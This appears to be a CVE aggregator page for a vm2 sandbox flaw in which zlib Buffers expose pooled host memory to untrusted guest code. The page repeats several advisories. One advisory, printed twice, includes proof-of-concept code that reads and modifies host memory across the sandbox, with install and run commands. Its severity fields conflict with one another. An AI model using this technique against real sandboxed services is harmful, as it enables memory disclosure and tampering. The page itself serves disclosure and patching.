CVE-2026-100723
vm2 before 3.12.2 Memory Disclosure via zlib Buffer Pool
vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
6.9
vm2 before 3.12.2 Memory Disclosure via zlib Buffer Pool
vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.
- Record
CVE-2026-100723- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
EUVDEUVD-2026-87856
6.9
vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.
- Record
EUVD-2026-87856- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-43rv-jrfh-9mrr
6.9
Duplicate Advisory: vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-489w-w794-jq94. This link is maintained to preserve external references.
Original Description
vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.
- Record
GHSA-43rv-jrfh-9mrr- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
GitHub AdvisoriesGHSA-489w-w794-jq94
6.9
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
Summary
When an application explicitly exposes Node's zlib module through vm2's NodeVM builtin allowlist, an untrusted guest can obtain a pool-backed host Buffer from zlib.deflateSync, create a full-width view of its backing ArrayBuffer, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local Buffer control remains exact-size and non-mutating.
Technical Details
NodeVM accepts require: { builtin: ['zlib'] }. The builtin resolver reaches addDefaultBuiltin in lib/builtin.js, where the host module is exposed through the generic readonly wrapper. zlib.deflateSync returns a Node Buffer; for a small result, that buffer can use Node's shared pool, whose .buffer is the complete pool rather than only the logical result slice. The guest can therefore call Buffer.from(result.buffer, 0, result.buffer.byteLength) and inspect or modify pooled bytes outside result.
The relevant isolation invariant is that every Buffer crossing into the sandbox owns its complete backing store: byteOffset === 0 and buffer.byteLength === length. vm2's depoolBuffer implementation applies that rule to sandbox-facing Buffer factories, but the generic host-builtin return path does not apply it to the Buffer returned by zlib. The precondition is an embedder that deliberately allowlists zlib; applications that do not expose this builtin are not reached by this proof.
PoV
The guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host Buffer; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.
const zlib = require('zlib');
const result = zlib.deflateSync(Buffer.from('hello'));
const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
const markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);
let markerHits = 0;
let firstMarker = -1;
for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
let equal = true;
for (let index = 0; index < markerCodes.length; index += 1) {
if (view[offset + index] !== markerCodes[index]) { equal = false; break; }
}
if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; }
}
if (firstMarker >= 0) view[firstMarker] ^= 0xff;
module.exports = {
route: {
requireReturned: !!zlib && typeof zlib.deflateSync === 'function',
deflateSyncReturnedBuffer: Buffer.isBuffer(result),
returnedBufferShape: !!result && !!result.buffer,
},
resultLength: result.length,
resultBackingLength: result.buffer.byteLength,
viewLength: view.length,
fullBackingStoreView: view.byteOffset === 0
&& view.length === result.buffer.byteLength
&& view.buffer.byteLength === result.buffer.byteLength,
markerHits,
firstMarker,
};
PoC
Install the tested package version with Node.js, save the complete reproduction below as zlib-buffer-isolation-test.js, and run both modes. The attack and control commands print the JSON shown after the code.
npm install [email protected]
node zlib-buffer-isolation-test.js attack hello
node zlib-buffer-isolation-test.js control
'use strict';
const { NodeVM } = require('vm2');
const marker = 'VM2_ZLIB_POOL_SECRET_7b31';
const markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0)));
const retained = [];
for (let index = 0; index < 192; index += 1) {
const buffer = Buffer.allocUnsafe(64);
buffer.fill(0x41);
const markerOffset = index % (buffer.length - markerCodes.length + 1);
markerCodes.forEach((byte, byteIndex) => {
buffer[markerOffset + byteIndex] = byte;
});
retained.push({ buffer, markerOffset });
}
const snapshot = () => retained.map(({ buffer }) => Array.from(buffer));
const changed = (before, after) =>…
- Record
GHSA-489w-w794-jq94- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-200, CWE-787
- Updated
- 2026-11-02
NVD
6.9
vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.
- Record
CVE-2026-100723- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
OSV
6.9
vm2 before 3.12.2 Memory Disclosure via zlib Buffer Pool
vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.
- Record
CVE-2026-100723- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N - Weakness
- CWE-200
- Updated
- 2026-11-02
Show 5 moreShow less
OSVGHSA-43rv-jrfh-9mrr
6.9
Duplicate Advisory: vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
Duplicate Advisory
This advisory has been withdrawn because it is a duplicate of GHSA-489w-w794-jq94. This link is maintained to preserve external references.
Original Description
vm2 before 3.12.2 does not apply its Buffer backing-store ownership invariant (byteOffset === 0 and buffer.byteLength === length) to Buffers returned from host builtin modules. When an application explicitly exposes Node's zlib module through NodeVM's builtin allowlist (require: { builtin: ['zlib'] }), zlib.deflateSync can return a Buffer backed by Node's shared small-buffer pool whose .buffer is the entire pool. Untrusted guest code can construct a full-width view of that ArrayBuffer (Buffer.from(result.buffer, 0, result.buffer.byteLength)) to read and modify bytes belonging to unrelated host buffers, disclosing and corrupting host-realm memory across the sandbox boundary.
- Record
GHSA-43rv-jrfh-9mrr- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X - CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N - Weakness
- CWE-200
- Updated
- 2026-11-02
OSVGHSA-489w-w794-jq94
6.9
vm2: NodeVM zlib Buffers expose pooled host memory across the VM boundary
Summary
When an application explicitly exposes Node's zlib module through vm2's NodeVM builtin allowlist, an untrusted guest can obtain a pool-backed host Buffer from zlib.deflateSync, create a full-width view of its backing ArrayBuffer, read bytes outside the compressed result, and flip a byte in an unrelated host buffer. The pinned vm2 revision reproduces disclosure and host-memory modification, while a sandbox-local Buffer control remains exact-size and non-mutating.
Technical Details
NodeVM accepts require: { builtin: ['zlib'] }. The builtin resolver reaches addDefaultBuiltin in lib/builtin.js, where the host module is exposed through the generic readonly wrapper. zlib.deflateSync returns a Node Buffer; for a small result, that buffer can use Node's shared pool, whose .buffer is the complete pool rather than only the logical result slice. The guest can therefore call Buffer.from(result.buffer, 0, result.buffer.byteLength) and inspect or modify pooled bytes outside result.
The relevant isolation invariant is that every Buffer crossing into the sandbox owns its complete backing store: byteOffset === 0 and buffer.byteLength === length. vm2's depoolBuffer implementation applies that rule to sandbox-facing Buffer factories, but the generic host-builtin return path does not apply it to the Buffer returned by zlib. The precondition is an embedder that deliberately allowlists zlib; applications that do not expose this builtin are not reached by this proof.
PoV
The guest operation below is the decisive operation. The expected marker is a numeric array in the guest, not a host Buffer; the host-side oracle snapshots complete retained buffers as plain arrays before and after the guest call.
const zlib = require('zlib');
const result = zlib.deflateSync(Buffer.from('hello'));
const view = Buffer.from(result.buffer, 0, result.buffer.byteLength);
const markerCodes = Object.freeze([86, 77, 50, 95, 90, 76, 73, 66, 95, 80, 79, 79, 76, 95, 83, 69, 67, 82, 69, 84, 95, 55, 98, 51, 49]);
let markerHits = 0;
let firstMarker = -1;
for (let offset = 0; offset <= view.length - markerCodes.length; offset += 1) {
let equal = true;
for (let index = 0; index < markerCodes.length; index += 1) {
if (view[offset + index] !== markerCodes[index]) { equal = false; break; }
}
if (equal) { markerHits += 1; if (firstMarker < 0) firstMarker = offset; }
}
if (firstMarker >= 0) view[firstMarker] ^= 0xff;
module.exports = {
route: {
requireReturned: !!zlib && typeof zlib.deflateSync === 'function',
deflateSyncReturnedBuffer: Buffer.isBuffer(result),
returnedBufferShape: !!result && !!result.buffer,
},
resultLength: result.length,
resultBackingLength: result.buffer.byteLength,
viewLength: view.length,
fullBackingStoreView: view.byteOffset === 0
&& view.length === result.buffer.byteLength
&& view.buffer.byteLength === result.buffer.byteLength,
markerHits,
firstMarker,
};
PoC
Install the tested package version with Node.js, save the complete reproduction below as zlib-buffer-isolation-test.js, and run both modes. The attack and control commands print the JSON shown after the code.
npm install [email protected]
node zlib-buffer-isolation-test.js attack hello
node zlib-buffer-isolation-test.js control
'use strict';
const { NodeVM } = require('vm2');
const marker = 'VM2_ZLIB_POOL_SECRET_7b31';
const markerCodes = Object.freeze(Array.from(marker, (character) => character.charCodeAt(0)));
const retained = [];
for (let index = 0; index < 192; index += 1) {
const buffer = Buffer.allocUnsafe(64);
buffer.fill(0x41);
const markerOffset = index % (buffer.length - markerCodes.length + 1);
markerCodes.forEach((byte, byteIndex) => {
buffer[markerOffset + byteIndex] = byte;
});
retained.push({ buffer, markerOffset });
}
const snapshot = () => retained.map(({ buffer }) => Array.from(buffer));
const changed = (before, after) =>…
- Record
GHSA-489w-w794-jq94- CVSS 4.0
- 6.9 Medium
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:L/SA:N - CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N - Weakness
- CWE-200, CWE-787
- Updated
- 2026-11-02
OSVCLSA-2026-1791279062 No score
TuxCare security update for vm2 (8 CVEs)
TuxCare rebuilt vm2 to address 8 CVEs. Fixed in 3.11.7-tuxcare.1.
- Record
CLSA-2026-1791279062- Updated
- 2026-11-02
OSVCLSA-2026-1791387024 No score
TuxCare security update for vm2 (4 CVEs)
TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.11.5-tuxcare.6.
- Record
CLSA-2026-1791387024- Updated
- 2026-11-02
OSVCLSA-2026-1791453761 No score
TuxCare security update for vm2 (4 CVEs)
TuxCare rebuilt vm2 to address 4 CVEs. Fixed in 3.10.0-tuxcare.5.
- Record
CLSA-2026-1791453761- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
vm2npm |
through 3.12.1 | 3.12.2 |
vm2TuxCare:npm |
3.11.7-tuxcare.0 up to 3.11.7-tuxcare.1, plus listed versions 3.11.7 |
3.11.7-tuxcare.1 |
vm2TuxCare:npm |
3.11.5-tuxcare.0 up to 3.11.5-tuxcare.6, plus listed versions 3.11.53.11.5-tuxcare.13.11.5-tuxcare.23.11.5-tuxcare.33.11.5-tuxcare.43.11.5-tuxcare.5 |
3.11.5-tuxcare.6 |
vm2TuxCare:npm |
3.10.0-tuxcare.0 up to 3.10.0-tuxcare.5, plus listed versions 3.10.03.10.0-tuxcare.13.10.0-tuxcare.23.10.0-tuxcare.33.10.0-tuxcare.4 |
3.10.0-tuxcare.5 |
vm2npm |
before 3.12.2 | 3.12.2 |
History
| Recorded | Changed | Sources |
|---|---|---|
| affected | ||
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-100723 is a medium vulnerability (CVSS 6.9) in Patriksimek Vm2, published September 27, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.39%, the 33rd percentile. Fixed in vm2 3.12.2.
References
github.com/patriksimek/vm2/security/advisories/GHSA-489w-w794-jq94
github.com/patriksimek/vm2/commit/4f2508abeb252aa86eb6761c78b3b000248fb089
github.com/patriksimek/vm2/commit/5214b02ef13b82497fcb917b45320dfd014ffd09
vulncheck.com/advisories/vm2-before-3.12.2-memory-disclosure-via-zlib-buffer-pool
nvd.nist.gov/vuln/detail/CVE-2026-100723
github.com/advisories/GHSA-43rv-jrfh-9mrr
Left out here: the rest of 2 source descriptions. The JSON record has them.